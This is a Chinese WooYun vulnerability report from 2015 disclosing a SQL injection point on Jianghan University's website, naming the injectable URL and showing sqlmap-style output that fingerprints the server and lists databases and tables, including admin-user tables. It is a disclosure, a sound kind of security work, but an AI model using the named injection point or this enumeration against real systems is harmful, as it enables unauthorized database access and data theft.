当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108356

漏洞标题:江汉大学官网存在SQL注入漏洞

相关厂商:江汉大学

漏洞作者: 凌晨的星星

提交时间:2015-04-21 16:50

修复时间:2015-04-26 16:52

公开时间:2015-04-26 16:52

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-21: 细节已通知厂商并且等待厂商处理中
2015-04-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

江汉大学官网存在SQL注入漏洞,爆大量表信息

详细说明:

江汉大学官网的注入点是:
http://www.jhun.edu.cn/ncontent.asp?id=111931&am
爆出大量表

漏洞证明:

[16:35:40] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[12:24:44] [INFO] retrieved: dbo.sysconstraints
[12:24:44] [INFO] retrieved: dbo.syssegments
[12:24:44] [INFO] retrieved: dbo.Territories
Database: tempdb
[2 tables]
+--------------------------------+
| sysconstraints |
| syssegments |
+--------------------------------+
Database: msdb
[83 tables]
+--------------------------------+
| RTblClassDefs |
| RTblClassExtension |
| RTblDBMProps |
| RTblDBXProps |
| RTblDTMProps |
| RTblDTSProps |
| RTblDatabaseVersion |
| RTblEQMProps |
| RTblEnumerationDef |
| RTblEnumerationValueDef |
| RTblGENProps |
| RTblIfaceDefs |
| RTblIfaceHier |
| RTblIfaceMem |
| RTblMDSProps |
| RTblNamedObj |
| RTblOLPProps |
| RTblParameterDef |
| RTblPropDefs |
| RTblProps |
| RTblRelColDefs |
| RTblRelshipDefs |
| RTblRelshipProps |
| RTblRelships |
| RTblSIMProps |
| RTblScriptDefs |
| RTblSites |
| RTblSumInfo |
| RTblTFMProps |
| RTblTypeInfo |
| RTblTypeLibs |
| RTblUMLProps |
| RTblUMXProps |
| RTblVersionAdminInfo |
| RTblVersions |
| RTblWorkspaceItems |
| backupfile |
| backupmediafamily |
| backupmediaset |
| backupset |
| log_shipping_databases |
| log_shipping_monitor |
| log_shipping_plan_databases |
| log_shipping_plan_history |
| log_shipping_plans |
| log_shipping_primaries |
| log_shipping_secondaries |
| logmarkhistory |
| mswebtasks |
| restorefile |
| restorefilegroup |
| restorehistory |
| sqlagent_info |
| sysalerts |
| syscachedcredentials |
| syscategories |
| sysconstraints |
| sysdbmaintplan_databases |
| sysdbmaintplan_history |
| sysdbmaintplan_jobs |
| sysdbmaintplans |
| sysdownloadlist |
| sysdtscategories |
| sysdtspackagelog |
| sysdtspackages |
| sysdtssteplog |
| sysdtstasklog |
| sysjobhistory |
| sysjobs |
| sysjobs_view |
| sysjobschedules |
| sysjobservers |
| sysjobsteps |
| sysnotifications |
| sysoperators |
| syssegments |
| systargetservergroupmembers |
| systargetservergroups |
| systargetservers |
| systargetservers_view |
| systaskids |
| systasks |
| systasks_view |
+--------------------------------+
Database: JHUN
[24 tables]
+--------------------------------+
| D99_CMD |
| D99_Tmp |
| DIY_TEMPCOMMAND_TABLE |
| Data_Discuss |
| Dept |
| Dept_Items |
| Dept_Items_Datas |
| Dept_Items_Datas_Attachs |
| Dept_Sub_Items |
| Notion |
| Operator |
| Parameter |
| Photo |
| SSub_Category |
| Visit_IP |
| Visit_Log |
| dtproperties |
| jiaozhu |
| myData |
| syscommand |
| sysconstraints |
| syssegments |
| tbAppeal |
| tbMngUser |
+--------------------------------+
Database: pubs
[14 tables]
+--------------------------------+
| authors |
| discounts |
| employee |
| jobs |
| pub_info |
| publishers |
| roysched |
| sales |
| stores |
| sysconstraints |
| syssegments |
| titleauthor |
| titles |
| titleview |
+--------------------------------+
Database: model
[2 tables]
+--------------------------------+
| sysconstraints |
| syssegments |
+--------------------------------+
Database: Northwind
[31 tables]
+--------------------------------+
| Categories |
| CustomerCustomerDemo |
| CustomerDemographics |
| Customers |
| EmployeeTerritories |
| Employees |
| Invoices |
| Orders |
| Products |
| Region |
| Shippers |
| Suppliers |
| Territories |
| Alphabetical list of products |
| Category Sales for 1997 |
| Current Product List |
| Customer and Suppliers by City |
| Order Details Extended |
| Order Details |
| Order Subtotals |
| Orders Qry |
| Product Sales for 1997 |
| Products Above Average Price |
| Products by Category |
| Quarterly Orders |
| Sales Totals by Amount |
| Sales by Category |
| Summary of Sales by Quarter |
| Summary of Sales by Year |
| sysconstraints |
| syssegments |
+--------------------------------+
[12:24:44] [WARNING] HTTP error codes detected during run:

修复方案:

你们更专业。。。

版权声明:转载请注明来源 凌晨的星星@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-26 16:52

厂商回复:

最新状态:

暂无